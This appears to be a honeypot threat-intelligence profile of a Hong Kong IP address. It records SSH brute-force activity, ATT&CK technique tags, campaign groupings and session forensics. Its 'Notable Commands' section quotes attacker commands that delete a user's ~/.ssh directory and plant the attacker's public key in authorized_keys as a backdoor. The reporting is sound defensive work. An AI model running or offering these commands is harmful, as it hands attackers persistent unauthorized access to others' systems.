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165.154.5.3

TAGGED SUSPICIOUS how we decide →
Threat Confidence
55%
Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
46
Average by volume
Agent Count
1
First / Last Seen
2026-04-19 08:09 — 2026-04-28 10:09
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Blocklist.de
Reported 2026-04-28 11:01
blocklist_de:reported
Campaigns
Subnet 165.154.5.0/24 SUBNET Active high 🇭🇰 HK
3 IPs 415 events
ssh:bruteforce
2026-03-30 — ongoing · 3 IPs from the same /24 subnet (165.154.5.0/24) were observed attacking our sensors within the same time window. …
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (708 IPs, 79 countries) HASSH Active high 🇮🇩 ID
708 IPs 265163 events
ssh:bruteforce
2026-02-28 — ongoing · 708 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
Session Forensics
malware_dropper ×2 credential_probe ×2 opportunistic_bruter ×2
Sessions
6 (4 with login)
Avg Depth Score
0.57
Commands Executed
6
Files Downloaded
2
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fbaf8223ac9914f509afdadfaf5f7ee94e
SSH Client
SSH-2.0-libssh_0.11.1SSH-2.0-libssh_0.12.0
Evidence Timeline
Opportunistic Bruter c0ca440969b7 w4m_singapore_01 · 2026-04-28 10:09
1 50%
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Malware Dropper 8d0e761e5422 w4m_singapore_01 · 2026-04-28 10:09
3 1 1 100%
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Credential Probe b1a7022458f2 w4m_singapore_01 · 2026-04-28 10:09
1 20%
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Malware Dropper f7666f398a32 w4m_singapore_01 · 2026-04-19 08:09
3 1 1 100%
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Opportunistic Bruter 34817d8a5fcf w4m_singapore_01 · 2026-04-19 08:09
1 50%
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Credential Probe 38ca9e3b76aa w4m_singapore_01 · 2026-04-19 08:09
1 20%
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